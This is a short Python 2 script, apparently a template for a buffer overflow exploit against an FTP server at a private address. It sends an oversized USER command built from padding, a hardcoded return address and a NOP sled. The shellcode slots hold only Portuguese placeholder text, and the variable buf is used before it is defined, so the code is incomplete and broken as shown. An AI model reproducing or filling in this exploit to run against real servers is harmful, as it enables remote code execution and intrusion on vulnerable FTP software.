#!/usr/bin/python
import socket


buf += "aqui_colocar_shell_code"
buf += "aqui_colocar_shell_code"
buf += "aqui_colocar_shell_code"
buf += "aqui_colocar_shell_code"
buf += "aqui_colocar_shell_code"
buf += "aqui_colocar_shell_code"



buffer = "A" * 485 + "\x3b\x31\x9d\x7c" + "\x90" *(1100 - 489 - len(buf)) + buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100",21))
r = s.recv(1024)
print r
s.send("USER "+buffer+"\r\n")
r = s.recv(1024)
print r